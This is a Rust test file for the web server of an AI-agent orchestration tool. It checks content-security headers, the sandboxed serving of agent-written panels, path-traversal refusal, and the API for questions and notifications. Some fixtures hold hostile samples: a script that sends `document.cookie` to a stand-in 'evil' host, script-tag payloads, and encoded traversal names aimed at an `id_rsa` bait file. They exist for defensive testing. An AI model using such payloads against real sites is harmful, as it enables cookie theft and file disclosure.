8876        let staging = fx.home.path().join("staging");
8877        std::fs::create_dir_all(&staging).expect("staging dir");
8878        let sources: Vec<PathBuf> = assets
8879            .iter()
8880            .map(|(name, bytes)| {
8881                let path = staging.join(name);
8882                std::fs::write(&path, bytes).expect("write staged asset");
8883                path
8884            })
8885            .collect();
8886        store
8887            .put_panel(&mut q, html, &sources)
8888            .expect("write the panel");
8889        store.put(&mut q).expect("put question");
8890        q.id
8891    }
8892
8893    /// A talk on disk, without talking to a model.
8894    ///
8895    /// Written as JSON straight into the store the server reads, because the
8896    /// only constructor `talk::begin` offers takes no turn but still requires
8897    /// a real caller-visible flow. The one thing this cannot make up is the
8898    /// seat, so it is built with the real `SeatState::new` and serialized -
8899    /// the alternative, hand-writing that object, would make these tests fail
8900    /// the day the seat gains a field.
8901    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8902        seed_talk_at(&fx.talks(), id, status)
8903    }
8904
8905    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8906        std::fs::create_dir_all(store.root()).expect("talks dir");
8907        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8908            .expect("serialize a seat");
8909        let body = serde_json::json!({
8910            "schema": 1,
8911            "id": id,
8912            "repo": "/repo/magi",
8913            "agent": "mock",
8914            "status": status,
8915            "turns": [],
8916            "created_at": Timestamp::now().to_string(),
8917            "updated_at": Timestamp::now().to_string(),
8918            "seat": seat,
8919        });
8920        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8921        store.get(id).expect("the seeded talk has to be readable");
8922        id.to_owned()
8923    }
8924
8925    #[tokio::test]
8926    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8927        let fx = Fixture::start().await;
8928        let id = panel(
8929            &fx,
8930            "<h1>Merge?</h1><img src=\"diff.svg\">",
8931            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8932        );
8933
8934        for path in [
8935            format!("/api/questions/{id}/panel"),
8936            format!("/api/questions/{id}/asset/diff.svg"),
8937        ] {
8938            let res = fx.get(&path).await;
8939            assert_eq!(res.status, 200, "{path}: {}", res.body);
8940            // The whole string, not a substring. A weakened directive - an
8941            // `img-src *` that lets a panel beacon out to a remote host, a
8942            // `script-src` anything, a missing `form-action` that lets it post
8943            // the owner's decision to a third party - has to fail here, and a
8944            // `contains` assertion would let every one of those through.
8945            assert_eq!(
8946                res.header("content-security-policy"),
8947                Some(
8948                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8949                     font-src data:; base-uri 'none'; form-action 'none'; \
8950                     frame-ancestors 'self'"
8951                ),
8952                "{path} is the only thing between a hostile panel and the tailnet"
8953            );
8954            assert_eq!(
8955                res.header("x-content-type-options"),
8956                Some("nosniff"),
8957                "{path}: a browser must not re-decide the type we sent"
8958            );
8959            assert_eq!(
8960                res.header("referrer-policy"),
8961                Some("no-referrer"),
8962                "{path}: a panel must not leak the question id off the machine"
8963            );
8964
8965            // The front end mounts the frame only after a `HEAD` says the
8966            // panel is there, so `HEAD` has to answer with the same status and
8967            // the same policy as `GET` - a preflight that came back without
8968            // the CSP would mean a frame mounted on an unverified promise.
8969            let pre = fx.head(&path).await;
8970            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8971            assert_eq!(
8972                pre.header("content-security-policy"),
8973                res.header("content-security-policy"),
8974                "{path}: the preflight carries the same policy"
8975            );
8976            assert_eq!(
8977                pre.header("content-type"),
8978                res.header("content-type"),
8979                "{path}: the preflight carries the same type"
8980            );
8981        }
8982    }
8983
8984    #[tokio::test]
8985    async fn a_panel_reaches_the_browser_byte_for_byte() {
8986        let fx = Fixture::start().await;
8987        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
8988        // tag, an entity, and a multi-byte character. The sandbox is what makes
8989        // this safe, so nothing here may be rewritten on the way out - a
8990        // rewritten diff is a diff the owner cannot trust.
8991        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
8992        let id = panel(&fx, html, &[]);
8993
8994        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8995
8996        assert_eq!(res.status, 200);
8997        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8998        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8999        assert_eq!(
9000            res.header("content-disposition"),
9001            None,
9002            "the panel itself is rendered in the frame, not downloaded"
9003        );
9004    }
9005
9006    #[tokio::test]
9007    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9008        let fx = Fixture::start().await;
9009        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9010        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9011        let id = panel(
9012            &fx,
9013            "<img src=\"diff.svg\"><img src=\"shot.png\">",
9014            &[("diff.svg", svg), ("shot.png", png)],
9015        );
9016
9017        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9018        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9019
9020        assert_eq!(as_svg.status, 200);
9021        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9022        // An SVG is XML that may carry script. Inside the panel it is an
9023        // `<img src>` and the script cannot run; opened at the top level it
9024        // would be a document on magi's own origin, so the browser is told to
9025        // download it instead of rendering it.
9026        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9027
9028        assert_eq!(as_png.status, 200);
9029        assert_eq!(as_png.header("content-type"), Some("image/png"));
9030        assert_eq!(
9031            as_png.header("content-disposition"),
9032            None,
9033            "a raster image has no execution surface, so tapping it still shows it"
9034        );
9035        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9036    }
9037
9038    #[tokio::test]
9039    async fn an_html_asset_is_never_served_as_html() {
9040        let fx = Fixture::start().await;
9041        let id = panel(
9042            &fx,
9043            "<p>see the notes</p>",
9044            &[
9045                (
9046                    "notes.html",
9047                    b"<script>fetch('http://evil/'+document.cookie)</script>",
9048                ),
9049                ("hook.js", b"fetch('http://evil/')"),
9050                ("data.json", b"{}"),
9051                ("HEADLINE.TXT", b"plain"),
9052            ],
9053        );
9054
9055        for name in ["notes.html", "hook.js", "data.json"] {
9056            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9057            assert_eq!(res.status, 200, "{name}: {}", res.body);
9058            // Serving this as text/html would be a way to reach agent markup
9059            // at the top level of the operator's browser, outside the frame's
9060            // sandbox and outside its CSP - which is the whole thing the panel
9061            // design exists to prevent. Unlisted types are downloads.
9062            assert_eq!(
9063                res.header("content-type"),
9064                Some("application/octet-stream"),
9065                "{name} must not be a type the browser will execute or render"
9066            );
9067        }
9068        // The whitelist is matched case-insensitively, so an agent shouting the
9069        // extension still gets a readable file rather than a download.
9070        let txt = fx
9071            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9072            .await;
9073        assert_eq!(
9074            txt.header("content-type"),
9075            Some("text/plain; charset=utf-8")
9076        );
9077    }
9078
9079    #[tokio::test]
9080    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9081        let fx = Fixture::start().await;
9082        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9083        // Something outside the panel directory that a traversal would reach if
9084        // one got through, so a passing test is not merely "the file was
9085        // missing anyway".
9086        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9087
9088        // Decoded before this server's handler sees them: axum percent-decodes
9089        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
9090        // string with a NUL in it. All three look like ordinary single-segment
9091        // filenames to the router, so the router passes them through and
9092        // `valid_asset_name` is what refuses them - for the literal `..`, and
9093        // for `/`, `\` and NUL not being in the permitted character set.
9094        for encoded in [
9095            "%2e%2e%2fid_rsa",
9096            "..%2fid_rsa",
9097            "..%5cid_rsa",
9098            "%2e%2e%5cid_rsa",
9099            "diff%00.svg",
9100            "..",
9101            ".hidden",
9102            "%2e%2e%2f%2e%2e%2fid_rsa",
9103        ] {
9104            let res = fx
9105                .get(&format!("/api/questions/{id}/asset/{encoded}"))
9106                .await;
9107            assert_eq!(
9108                res.status, 400,
9109                "`{encoded}` has to be refused by name, not looked up: {}",
9110                res.body
9111            );
9112            assert!(res.json()["error"].is_string(), "{}", res.body);
9113        }
9114
9115        // Not decoded, and never this handler's problem: a real slash makes the
9116        // request one segment too long for `/api/questions/{id}/asset/{name}`,
9117        // so axum's router has no route to match and answers before any code
9118        // here runs. Asserted so that a future route with a wildcard segment
9119        // cannot quietly open this door.
9120        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9121            let res = fx
9122                .get(&format!("/api/questions/{id}/asset/{literal}"))
9123                .await;
9124            assert_eq!(
9125                res.status, 404,
9126                "`{literal}` must not match the asset route at all: {}",
9127                res.body
9128            );
9129        }
9130    }
9131
9132    #[tokio::test]
9133    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9134        let fx = Fixture::start().await;
9135        let plain = ask(&fx, "Which backend?", &["SQLite"]);
9136        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9137
9138        // A question nobody wrote a panel for. The client preflights with HEAD
9139        // and cannot see inside a sandboxed frame, so this must be a status and
9140        // not an empty page.
9141        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9142        assert_eq!(none.status, 404, "{}", none.body);
9143        assert!(none.json()["error"].is_string(), "{}", none.body);
9144        assert_eq!(
9145            fx.head(&format!("/api/questions/{plain}/panel"))
9146                .await
9147                .status,
9148            404,
9149            "the preflight is the only way the client can learn this"
9150        );
9151
9152        // A name that is perfectly legal and simply is not there.
9153        let missing = fx
9154            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9155            .await;
9156        assert_eq!(missing.status, 404, "{}", missing.body);
9157        assert!(missing.json()["error"].is_string(), "{}", missing.body);
9158
9159        // A question that does not exist at all, on both routes.
9160        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9161        assert_eq!(
9162            fx.get("/api/questions/nope/asset/diff.svg").await.status,
9163            404
9164        );
9165    }
9166
9167    #[tokio::test]
9168    async fn a_run_with_an_open_question_reads_as_waiting() {
9169        let fx = Fixture::start().await;
9170        let run = "20260902-000000-beef".to_owned();
9171        write_run(&fx.runs(), &run, RunStatus::Implementing);
9172
9173        let before = fx.get("/api/runs").await.json();
9174        assert_eq!(before[0]["waiting"], false, "{before}");
9175
9176        let store = fx.questions();
9177        let mut q = Question::new(
9178            run.clone(),
9179            "implement".to_owned(),
9180            "impl-A".to_owned(),
9181            "Which backend?".to_owned(),
9182            String::new(),
9183            vec!["SQLite".to_owned()],
9184        );
9185        store.put(&mut q).expect("put");
9186
9187        let during = fx.get("/api/runs").await.json();
9188        assert_eq!(during[0]["waiting"], true, "{during}");
9189
9190        // Answered: the run is moving again, and the flag has to follow without
9191        // anything having rewritten run.json.
9192        q.answer(Answer::Choice("SQLite".to_owned()))
9193            .expect("answer");
9194        store.put(&mut q).expect("put");
9195        let after = fx.get("/api/runs").await.json();
9196        assert_eq!(after[0]["waiting"], false, "{after}");
9197    }
9198
9199    #[tokio::test]
9200    async fn an_open_question_is_listed_and_counted_by_health() {
9201        let fx = Fixture::start().await;
9202        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9203
9204        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9205        let listed = fx.get("/api/questions").await.json();
9206        assert_eq!(listed.as_array().expect("array").len(), 1);
9207        assert_eq!(listed[0]["id"], id);
9208        assert_eq!(listed[0]["status"], "open");
9209        assert_eq!(listed[0]["choices"][1], "Redis");
9210        // The count is what makes the phone's indicator honest: it is the one
9211        // number meaning nothing will move until a human acts.
9212        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9213    }
9214
9215    #[tokio::test]
9216    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9217        let fx = Fixture::start().await;
9218        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9219        let path = format!("/api/questions/{id}/answer");
9220
9221        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9222        assert_eq!(res.status, 200, "{}", res.body);
9223        let body = res.json();
9224        assert_eq!(body["status"], "answered");
9225        assert_eq!(body["answer"]["choice"], "Redis");
9226
9227        // Answered from the terminal in between the list and the tap: the UI
9228        // must be able to tell this from a bad request, so it can show the
9229        // recorded answer instead of an error.
9230        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9231        assert_eq!(again.status, 409, "{}", again.body);
9232        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9233    }
9234
9235    #[tokio::test]
9236    async fn saying_something_appends_a_turn_without_answering() {
9237        let fx = Fixture::start().await;
9238        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9239        let path = format!("/api/questions/{id}/say");
9240
9241        let res = fx
9242            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9243            .await;
9244        assert_eq!(res.status, 200, "{}", res.body);
9245        let body = res.json();
9246        assert_eq!(body["status"], "open", "talking back is not a decision");
9247        assert_eq!(body["answer"], Value::Null);
9248        assert_eq!(body["thread"][0]["who"], "operator");
9249        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9250        assert_eq!(body["waiting_on_agent"], true);
9251        // Still open, still counted, still exactly one question.
9252        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9253    }
9254
9255    #[tokio::test]
9256    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9257        let fx = Fixture::start().await;
9258        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9259
9260        let list = fx.get("/api/questions").await.json();
9261        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9262
9263        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9264        assert_eq!(res.status, 409, "{}", res.body);
9265        let q = fx.questions().get(&id).unwrap();
9266        assert!(q.status.open());
9267        assert!(q.consult.is_none());
9268    }
9269
9270    #[tokio::test]
9271    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9272        let fx = Fixture::start().await;
9273        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9274        let cfg = Config {
9275            agents: vec![crate::config::AgentSpec {
9276                id: "mock".to_owned(),
9277                kind: crate::config::AgentKind::Command,
9278                model: None,
9279                command: vec!["true".to_owned()],
9280                extra_args: Vec::new(),
9281                env: Default::default(),
9282                prompt_delivery: None,
9283            }],
9284            ..Config::default()
9285        };
9286        let talk = crate::talk::begin(
9287            &fx.talks(),
9288            &cfg,
9289            fx.home.path().to_path_buf(),
9290            Some("mock"),
9291        )
9292        .unwrap();
9293        let mut task = Task::new(
9294            "t".to_owned(),
9295            "Do it".to_owned(),
9296            PathBuf::from("/repo/magi"),
9297            Source::Agent {
9298                run: talk.id.clone(),
9299                node: crate::queue::CHAT_NODE.to_owned(),
9300            },
9301        );
9302        task.start("20260902-000000-beef".to_owned());
9303        fx.queue().put(&mut task).unwrap();
9304
9305        let list = fx.get("/api/questions").await.json();
9306        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9307        assert_eq!(
9308            list[0]["choices"],
9309            serde_json::json!(["SQLite", "Redis"]),
9310            "the hand-over is never a choice"
9311        );
9312        fx.questions()
9313            .update(&id, |q| {
9314                q.node = crate::land::APPROVAL_NODE.into();
9315                q.choices = vec!["merge".into(), "hold".into()];
9316                Ok(())
9317            })
9318            .unwrap();
9319        let list = fx.get("/api/questions").await.json();
9320        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9321        let _ = id;
9322    }
9323
9324    #[tokio::test]
9325    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9326        let fx = Fixture::start().await;
9327        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9328        fx.questions()
9329            .update(&id, |q| {
9330                q.node = crate::land::APPROVAL_NODE.into();
9331                q.choices = vec!["merge".into(), "hold".into()];
9332                Ok(())
9333            })
9334            .unwrap();
9335        let cfg = Config {
9336            agents: vec![crate::config::AgentSpec {
9337                id: "mock".to_owned(),
9338                kind: crate::config::AgentKind::Command,
9339                model: None,
9340                command: vec!["true".to_owned()],
9341                extra_args: Vec::new(),
9342                env: Default::default(),
9343                prompt_delivery: None,
9344            }],
9345            ..Config::default()
9346        };
9347        // Not a git working tree, so its `magi.toml` is read from disk.
9348        let repo = fx.home.path().join("chat-repo");
9349        std::fs::create_dir_all(&repo).unwrap();
9350        let toml = repo.join("magi.toml");
9351        std::fs::write(&toml, "this is = = not toml").unwrap();
9352        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9353        let mut task = Task::new(
9354            "t".to_owned(),
9355            "Do it".to_owned(),
9356            PathBuf::from("/repo/magi"),
9357            Source::Agent {
9358                run: talk.id.clone(),
9359                node: crate::queue::CHAT_NODE.to_owned(),
9360            },
9361        );
9362        task.start("20260902-000000-beef".to_owned());
9363        fx.queue().put(&mut task).unwrap();
9364
9365        let path = format!("/api/questions/{id}/consult");
9366        let res = fx.post(&path, None).await;
9367        assert!(res.status >= 400, "{}", res.body);
9368        assert!(fx.questions().get(&id).unwrap().consult.is_none());
9369        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9370
9371        std::fs::write(&toml, "").unwrap();
9372        let res = fx.post(&path, None).await;
9373        assert_eq!(res.status, 202, "{}", res.body);
9374        assert!(fx.questions().get(&id).unwrap().consult.is_some());
9375        let q = fx.questions().get(&id).unwrap();
9376        assert!(q.status.open());
9377        assert!(q.answer.is_none());
9378        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9379    }
9380
9381    #[tokio::test]
9382    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9383        let fx = Fixture::start().await;
9384        let store = fx.questions();
9385        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9386        assert_eq!(
9387            fx.get("/api/health").await.json()["questions_needs_owner"],
9388            1
9389        );
9390
9391        // The owner asks back instead of deciding: the ask bar, the nav badge
9392        // and the title must stop naming this question, because there is
9393        // nothing to decide until the agent answers - `status` alone cannot
9394        // say that, which is the whole reason `questions_needs_owner` exists
9395        // alongside `questions_open`.
9396        let res = fx
9397            .post(
9398                &format!("/api/questions/{id}/say"),
9399                Some(r#"{"body":"why not Postgres?"}"#),
9400            )
9401            .await;
9402        assert_eq!(res.status, 200, "{}", res.body);
9403        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9404        assert_eq!(
9405            fx.get("/api/health").await.json()["questions_needs_owner"],
9406            0,
9407            "waiting on the agent is not waiting on the owner"
9408        );
9409
9410        // `magi ask --thread` replying is what brings the owner count back -
9411        // the same event that would resume the CLI call blocked in `magi
9412        // ask`.
9413        let mut q = store.get(&id).expect("get");
9414        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9415            .expect("reply");
9416        store.put(&mut q).expect("put");
9417        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9418        assert_eq!(
9419            fx.get("/api/health").await.json()["questions_needs_owner"],
9420            1,
9421            "the agent's reply is what should light the banner back up"
9422        );
9423    }
9424
9425    #[tokio::test]
9426    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9427        let fx = Fixture::start().await;
9428        let store = fx.questions();
9429
9430        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9431        let res = fx
9432            .post(
9433                &format!("/api/questions/{empty_id}/say"),
9434                Some(r#"{"body":"   "}"#),
9435            )
9436            .await;
9437        assert_eq!(res.status, 400, "{}", res.body);
9438
9439        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9440        let mut answered = store.get(&answered_id).expect("get");
9441        answered
9442            .answer(Answer::Choice("SQLite".to_owned()))
9443            .expect("answer");
9444        store.put(&mut answered).expect("put");
9445        let res = fx
9446            .post(
9447                &format!("/api/questions/{answered_id}/say"),
9448                Some(r#"{"body":"still there?"}"#),
9449            )
9450            .await;
9451        assert_eq!(res.status, 409, "{}", res.body);
9452
9453        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9454        let mut abandoned = store.get(&abandoned_id).expect("get");
9455        abandoned.abandon("timed out");
9456        store.put(&mut abandoned).expect("put");
9457        let res = fx
9458            .post(
9459                &format!("/api/questions/{abandoned_id}/say"),
9460                Some(r#"{"body":"still there?"}"#),
9461            )
9462            .await;
9463        assert_eq!(res.status, 409, "{}", res.body);
9464    }
9465
9466    #[tokio::test]
9467    async fn an_answer_the_question_does_not_offer_is_refused() {
9468        let fx = Fixture::start().await;
9469        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9470        let path = format!("/api/questions/{id}/answer");
9471
9472        for body in [
9473            r#"{"choice":"Postgres"}"#,
9474            r#"{"text":"whatever you think"}"#,
9475            r#"{"choice":"Redis","text":"both"}"#,
9476            r#"{}"#,
9477        ] {
9478            let res = fx.post(&path, Some(body)).await;
9479            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9480            assert!(res.json()["error"].is_string(), "{}", res.body);
9481        }
9482        // Nothing above may have answered it.
9483        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9484    }
9485
9486    #[tokio::test]
9487    async fn a_free_text_question_takes_text_and_not_a_choice() {
9488        let fx = Fixture::start().await;
9489        let id = ask(&fx, "What should the flag be called?", &[]);
9490        let path = format!("/api/questions/{id}/answer");
9491
9492        assert_eq!(
9493            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9494            400
9495        );
9496        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9497        assert_eq!(res.status, 200, "{}", res.body);
9498        assert_eq!(res.json()["answer"]["text"], "--json");
9499    }
9500
9501    #[tokio::test]
9502    async fn an_unknown_question_is_a_json_404() {
9503        let fx = Fixture::start().await;
9504        let res = fx
9505            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9506            .await;
9507        assert_eq!(res.status, 404, "{}", res.body);
9508        assert!(res.json()["error"].is_string());
9509    }
9510
9511    #[tokio::test]
9512    async fn notifications_list_read_dismiss_and_health_agree() {
9513        let fx = Fixture::start().await;
9514        let store = Notices::at(fx.home.path().join("notifications"));
9515        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9516        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9517
9518        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9519        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9520
9521        let health = fx.get("/api/health").await.json();
9522        assert_eq!(health["notifications_unread"], 2);
9523        assert_ne!(
9524            health["notifications_rev"], rev0,
9525            "the badge must move live"
9526        );
9527
9528        let listed = fx.get("/api/notifications").await.json();
9529        assert_eq!(listed["unread"], 2);
9530        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9531        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9532
9533        let read = fx
9534            .post(&format!("/api/notifications/{}/read", a.id), None)
9535            .await;
9536        assert_eq!(read.status, 200, "{}", read.body);
9537        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9538
9539        let gone = fx
9540            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9541            .await;
9542        assert_eq!(gone.status, 200, "{}", gone.body);
9543        let listed = fx.get("/api/notifications").await.json();
9544        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9545        assert_eq!(listed["unread"], 0);
9546
9547        store.raise(Notice::info("x", "again")).unwrap();
9548        let all = fx.post("/api/notifications/read-all", None).await;
9549        assert_eq!(all.status, 200, "{}", all.body);
9550        assert_eq!(all.json()["marked"], 1);
9551        assert_eq!(
9552            fx.get("/api/health").await.json()["notifications_unread"],
9553            0
9554        );
9555
9556        let missing = fx.post("/api/notifications/nope/read", None).await;
9557        assert_eq!(missing.status, 404, "{}", missing.body);
9558        assert!(missing.json()["error"].is_string());
9559    }
9560
9561    /// New work reaches the queue through `magi task add`, a standing talk's
9562    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
9563    /// so the compose form and that route are gone. The tests that covered
9564    /// that route's validation went with it, and nothing was left asserting
9565    /// it stays gone — so a re-added handler would silently let the phone
9566    /// file briefs no one validated.
9567    #[tokio::test]
9568    async fn a_task_cannot_be_filed_over_the_phone_directly() {
9569        let f = Fixture::start().await;
9570
9571        let res = f
9572            .post(
9573                "/api/queue",
9574                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9575            )
9576            .await;
9577
9578        assert_eq!(
9579            res.status, 405,
9580            "POST /api/queue must not be a route: {}",
9581            res.body
9582        );
9583        assert!(
9584            f.queue().list().is_empty(),
9585            "a task filed by a route that does not exist must not reach the disk"
9586        );
9587        // The path itself is still served — the Queue view reads it — and the
9588        // per-task controls are untouched by the entry being removed.
9589        assert_eq!(f.get("/api/queue").await.status, 200);
9590    }
9591
9592    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
9593    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9594        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9595            .expect("checkout dir");
9596    }
9597
9598    /// Two command agents, so a config needs no real CLI.
9599    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9600
9601    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9602        let tmp = TempDir::new().expect("tempdir");
9603        let repo = tmp.path().join("repo");
9604        std::fs::create_dir_all(&repo).expect("repo dir");
9605        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9606        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9607        if let Some(text) = machine_toml {
9608            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9609            std::fs::write(&machine, text).expect("machine toml");
9610        }
9611        (tmp, repo, machine)
9612    }
9613
9614    async fn settings_checkout(path: &FsPath, text: &str) {
9615        std::fs::create_dir_all(path).unwrap();
9616        std::fs::write(path.join("magi.toml"), text).unwrap();
9617        for args in [
9618            vec!["init", "-b", "main"],
9619            vec!["add", "magi.toml"],
9620            vec![
9621                "-c",
9622                "user.name=Test",
9623                "-c",
9624                "user.email=test@example.invalid",
9625                "commit",
9626                "-m",
9627                "fixture",
9628            ],
9629            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
9630            vec![
9631                "symbolic-ref",
9632                "refs/remotes/origin/HEAD",
9633                "refs/remotes/origin/main",
9634            ],
9635        ] {
9636            crate::git::git(path, &args).await.unwrap();
9637        }
9638    }
9639
9640    #[tokio::test]
9641    async fn settings_context_handlers_validate_and_save_without_a_socket() {
9642        let (tmp, repo, machine) =
9643            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
9644        let root = tmp.path().join("roots");
9645        let selected = root.join("host/owner/selected");
9646        settings_checkout(
9647            &selected,
9648            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
9649        )
9650        .await;
9651        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
9652        let before = std::fs::read(&machine).unwrap();
9653        let ui = Arc::new(
9654            Ui::new(
9655                Queue::at(tmp.path().join("queue")),
9656                Questions::at(tmp.path().join("questions")),
9657                Talks::at(tmp.path().join("talks")),
9658                tmp.path().join("runs"),
9659                tmp.path().to_path_buf(),
9660                repo.clone(),
9661            )
9662            .with_machine_config(Some(machine.clone())),
9663        );
9664        let query = || {
9665            Query(SettingsQuery {
9666                repo: Some(selected.clone()),
9667            })
9668        };
9669        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
9670        assert!(v.error.is_none(), "{:?}", v.error);
9671        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
9672        assert_eq!(conductor.source, "repo");
9673        assert_eq!(
9674            conductor.machine_value,
9675            Some(toml::Value::String("a".into()))
9676        );
9677        assert!(!conductor.editable);
9678        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
9679        assert_eq!(
9680            judges.count.as_ref().unwrap().machine_value,
9681            Some(toml::Value::Integer(1))
9682        );
9683        assert!(
9684            !v.roles
9685                .iter()
9686                .find(|r| r.key == "reviewers")
9687                .unwrap()
9688                .editable
9689        );
9690        let unknown = || {
9691            Query(SettingsQuery {
9692                repo: Some(tmp.path().to_path_buf()),
9693            })
9694        };
9695        assert_eq!(
9696            settings_get(State(ui.clone()), unknown())
9697                .await
9698                .unwrap_err()
9699                .status,
9700            StatusCode::UNPROCESSABLE_ENTITY
9701        );
9702        let body = || {
9703            Ok(Json(RolesBody {
9704                revision: v.revision.clone(),
9705                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
9706                counts: Default::default(),
9707            }))
9708        };
9709        assert_eq!(
9710            settings_put_roles(State(ui.clone()), unknown(), body())
9711                .await
9712                .unwrap_err()
9713                .status,
9714            StatusCode::UNPROCESSABLE_ENTITY
9715        );
9716        assert_eq!(std::fs::read(&machine).unwrap(), before);
9717        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
9718            .await
9719            .unwrap();
9720        assert_eq!(
9721            saved.repo,
9722            selected.canonicalize().unwrap().display().to_string()
9723        );
9724        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9725        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9726        // A cache miss refreshes the stable candidate list exactly for validation.
